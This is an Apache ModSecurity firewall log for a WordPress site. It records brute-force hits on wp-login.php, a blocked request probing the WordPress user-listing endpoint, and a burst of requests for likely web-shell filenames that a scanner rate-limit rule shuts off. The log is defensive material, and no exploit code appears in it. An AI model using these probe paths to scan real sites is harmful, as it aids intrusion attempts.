[Mon Mar 02 10:01:50.097906 2026] [:error] [pid 28794:tid 28858] [client 5.39.65.19:42474] [client 5.39.65.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.39.65.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaTvjqVy2qpaelbUob1r3AAAAFY"]
[Mon Mar 02 10:48:00.617994 2026] [:error] [pid 31257:tid 31285] [client 85.214.228.221:36260] [client 85.214.228.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.228.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6YP-JFLfishX45N83OQAAARY"]
[Mon Mar 02 10:48:01.314976 2026] [:error] [pid 28795:tid 28883] [client 91.92.242.216:49759] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6YbROd53wZBkdI_etowAAAJQ"], referer: https://www.facebook.com/
[Mon Mar 02 10:48:09.872651 2026] [:error] [pid 28795:tid 28873] [client 91.92.242.216:49759] [client 91.92.242.216] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aaT6abROd53wZBkdI_etrgAAAIo"], referer: https://www.google.com/
[Mon Mar 02 10:48:10.203420 2026] [:error] [pid 28795:tid 28867] [client 91.92.242.216:49759] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6arROd53wZBkdI_etrwAAAIQ"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:48:29.217926 2026] [:error] [pid 31257:tid 31280] [client 91.92.242.216:63283] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6ff-JFLfishX45N83xgAAARE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:48:44.310027 2026] [:error] [pid 28908:tid 28929] [client 91.92.242.216:62926] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6jIqJmC8ih_lQQnAJdAAAANM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:49:00.657446 2026] [:error] [pid 28794:tid 28855] [client 91.92.242.216:62833] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6nKVy2qpaelbUob13EgAAAFM"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:49:15.940574 2026] [:error] [pid 23872:tid 23885] [client 91.92.242.216:62001] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6q0zkQFuA2qBk8UPEWgAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:49:24.293909 2026] [:error] [pid 21575:tid 21596] [client 20.104.206.150:50125] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.phpa"] [unique_id "aaT6tCrocdArcJqFfIm8IgAAAVE"]
[Mon Mar 02 10:49:24.713285 2026] [:error] [pid 31257:tid 31267] [client 20.104.206.150:50159] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.phpa"] [unique_id "aaT6tP-JFLfishX45N84vQAAAQQ"]
[Mon Mar 02 10:49:25.135052 2026] [:error] [pid 31257:tid 31274] [client 20.104.206.150:54307] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.phpa"] [unique_id "aaT6tf-JFLfishX45N84wgAAAQs"]
[Mon Mar 02 10:49:25.561000 2026] [:error] [pid 31257:tid 31273] [client 20.104.206.150:54275] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.phpa"] [unique_id "aaT6tf-JFLfishX45N84xwAAAQo"]
[Mon Mar 02 10:49:25.988673 2026] [:error] [pid 23872:tid 23899] [client 20.104.206.150:42733] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defaults.php"] [unique_id "aaT6tUzkQFuA2qBk8UPEiQAAAZg"]
[Mon Mar 02 10:49:26.427287 2026] [:error] [pid 28795:tid 28882] [client 20.104.206.150:42724] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defaults.php"] [unique_id "aaT6trROd53wZBkdI_euIwAAAJM"]
[Mon Mar 02 10:49:26.847809 2026] [:error] [pid 23872:tid 23885] [client 20.104.206.150:48661] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defaults.php"] [unique_id "aaT6tkzkQFuA2qBk8UPEkAAAAYo"]
[Mon Mar 02 10:49:27.283002 2026] [:error] [pid 31257:tid 31267] [client 20.104.206.150:48696] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defaults.php"] [unique_id "aaT6t_-JFLfishX45N84zgAAAQQ"]
[Mon Mar 02 10:49:27.702441 2026] [:error] [pid 28795:tid 28885] [client 20.104.206.150:50148] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/im.php"] [unique_id "aaT6t7ROd53wZBkdI_euKgAAAJY"]
[Mon Mar 02 10:49:28.141285 2026] [:error] [pid 21575:tid 21587] [client 20.104.206.150:42715] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/im.php"] [unique_id "aaT6uCrocdArcJqFfIm8NQAAAUg"]
[Mon Mar 02 10:49:28.557127 2026] [:error] [pid 23872:tid 23895] [client 20.104.206.150:54308] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/im.php"] [unique_id "aaT6uEzkQFuA2qBk8UPEmAAAAZQ"]
[Mon Mar 02 10:49:28.984718 2026] [:error] [pid 23872:tid 23878] [client 20.104.206.150:50135] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/im.php"] [unique_id "aaT6uEzkQFuA2qBk8UPEmgAAAYM"]
[Mon Mar 02 10:49:29.406802 2026] [:error] [pid 23872:tid 23877] [client 20.104.206.150:42716] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaT6uUzkQFuA2qBk8UPEnQAAAYI"]
[Mon Mar 02 10:49:29.821943 2026] [:error] [pid 28795:tid 28887] [client 20.104.206.150:50147] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaT6ubROd53wZBkdI_euMgAAAJg"]
[Mon Mar 02 10:49:30.266466 2026] [:error] [pid 21575:tid 21579] [client 20.104.206.150:54302] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaT6uirocdArcJqFfIm8QgAAAUA"]
[Mon Mar 02 10:49:30.682184 2026] [:error] [pid 28794:tid 28847] [client 20.104.206.150:54327] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaT6uqVy2qpaelbUob13MAAAAEs"]
[Mon Mar 02 10:49:31.101168 2026] [:error] [pid 31257:tid 31266] [client 20.104.206.150:48694] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache-compat.php"] [unique_id "aaT6u_-JFLfishX45N842QAAAQM"]
[Mon Mar 02 10:49:31.307268 2026] [:error] [pid 31257:tid 31285] [client 91.92.242.216:61647] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6u_-JFLfishX45N842wAAARY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:49:31.519974 2026] [:error] [pid 31257:tid 31281] [client 20.104.206.150:42739] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache-compat.php"] [unique_id "aaT6u_-JFLfishX45N843QAAARI"]
[Mon Mar 02 10:49:31.934067 2026] [:error] [pid 28908:tid 28918] [client 20.104.206.150:42690] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache-compat.php"] [unique_id "aaT6u4qJmC8ih_lQQnAJvQAAAMg"]
[Mon Mar 02 10:49:32.345064 2026] [:error] [pid 31257:tid 31267] [client 20.104.206.150:48760] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache-compat.php"] [unique_id "aaT6vP-JFLfishX45N844wAAAQQ"]
[Mon Mar 02 10:49:32.761808 2026] [:error] [pid 23872:tid 23887] [client 20.104.206.150:54272] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aaT6vEzkQFuA2qBk8UPEqgAAAYw"]
[Mon Mar 02 10:49:33.184686 2026] [:error] [pid 23872:tid 23894] [client 20.104.206.150:42702] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aaT6vUzkQFuA2qBk8UPErAAAAZM"]
[Mon Mar 02 10:49:33.599195 2026] [:error] [pid 31257:tid 31283] [client 20.104.206.150:42718] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aaT6vf-JFLfishX45N846QAAARQ"]
[Mon Mar 02 10:49:34.012453 2026] [:error] [pid 23872:tid 23889] [client 20.104.206.150:48703] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aaT6vkzkQFuA2qBk8UPEtQAAAY4"]
[Mon Mar 02 10:49:34.433588 2026] [:error] [pid 23872:tid 23877] [client 20.104.206.150:52479] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berlin.php"] [unique_id "aaT6vkzkQFuA2qBk8UPEuQAAAYI"]
[Mon Mar 02 10:49:34.852159 2026] [:error] [pid 23872:tid 23896] [client 20.104.206.150:48687] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berlin.php"] [unique_id "aaT6vkzkQFuA2qBk8UPEvAAAAZU"]
[Mon Mar 02 10:49:35.279463 2026] [:error] [pid 31257:tid 31286] [client 20.104.206.150:50175] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berlin.php"] [unique_id "aaT6v_-JFLfishX45N848wAAARc"]
[Mon Mar 02 10:49:35.704682 2026] [:error] [pid 23872:tid 23898] [client 20.104.206.150:48684] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berlin.php"] [unique_id "aaT6v0zkQFuA2qBk8UPEwQAAAZc"]
[Mon Mar 02 10:49:36.119266 2026] [:error] [pid 23872:tid 23893] [client 20.104.206.150:50165] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aaT6wEzkQFuA2qBk8UPExQAAAZI"]
[Mon Mar 02 10:49:36.543638 2026] [:error] [pid 23872:tid 23894] [client 20.104.206.150:42738] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aaT6wEzkQFuA2qBk8UPEyQAAAZM"]
[Mon Mar 02 10:49:36.960074 2026] [:error] [pid 23872:tid 23893] [client 20.104.206.150:48693] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aaT6wEzkQFuA2qBk8UPE0QAAAZI"]
[Mon Mar 02 10:49:37.384794 2026] [:error] [pid 31257:tid 31265] [client 20.104.206.150:54286] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "aaT6wf-JFLfishX45N84_AAAAQI"]
[Mon Mar 02 10:49:37.799468 2026] [:error] [pid 31257:tid 31263] [client 20.104.206.150:54316] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aaT6wf-JFLfishX45N85AgAAAQA"]
[Mon Mar 02 10:49:38.220429 2026] [:error] [pid 28793:tid 28822] [client 20.104.206.150:42701] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aaT6wg2_fxBANaHo1f5XDAAAAA8"]
[Mon Mar 02 10:49:38.639876 2026] [:error] [pid 28908:tid 28926] [client 20.104.206.150:42689] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aaT6woqJmC8ih_lQQnAJwgAAANA"]
[Mon Mar 02 10:49:39.064080 2026] [:error] [pid 31257:tid 31275] [client 20.104.206.150:54332] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aaT6w_-JFLfishX45N85GQAAAQw"]
[Mon Mar 02 10:49:39.516730 2026] [:error] [pid 21575:tid 21587] [client 20.104.206.150:54319] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-files.php"] [unique_id "aaT6wyrocdArcJqFfIm8cQAAAUg"]
[Mon Mar 02 10:49:39.939595 2026] [:error] [pid 23872:tid 23880] [client 20.104.206.150:50171] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-files.php"] [unique_id "aaT6w0zkQFuA2qBk8UPE3AAAAYU"]
[Mon Mar 02 10:49:40.366626 2026] [:error] [pid 23872:tid 23876] [client 20.104.206.150:48670] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-files.php"] [unique_id "aaT6xEzkQFuA2qBk8UPE3gAAAYE"]
[Mon Mar 02 10:49:41.006553 2026] [:error] [pid 21575:tid 21600] [client 20.104.206.150:48686] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-files.php"] [unique_id "aaT6xSrocdArcJqFfIm8ewAAAVU"]
[Mon Mar 02 10:49:41.434821 2026] [:error] [pid 28794:tid 28856] [client 20.104.206.150:48695] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj.php"] [unique_id "aaT6xaVy2qpaelbUob13UgAAAFQ"]
[Mon Mar 02 10:49:41.857195 2026] [:error] [pid 28793:tid 28830] [client 20.104.206.150:42709] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj.php"] [unique_id "aaT6xQ2_fxBANaHo1f5XWAAAABc"]
[Mon Mar 02 10:49:42.288576 2026] [:error] [pid 31257:tid 31283] [client 20.104.206.150:42730] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj.php"] [unique_id "aaT6xv-JFLfishX45N85PwAAARQ"]
[Mon Mar 02 10:49:42.715309 2026] [:error] [pid 31257:tid 31280] [client 20.104.206.150:48679] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj.php"] [unique_id "aaT6xv-JFLfishX45N85QQAAARE"]
[Mon Mar 02 10:49:43.139834 2026] [:error] [pid 31257:tid 31268] [client 20.104.206.150:48643] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "aaT6x_-JFLfishX45N85QwAAAQU"]
[Mon Mar 02 10:49:43.557940 2026] [:error] [pid 31257:tid 31275] [client 20.104.206.150:42717] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "aaT6x_-JFLfishX45N85RQAAAQw"]
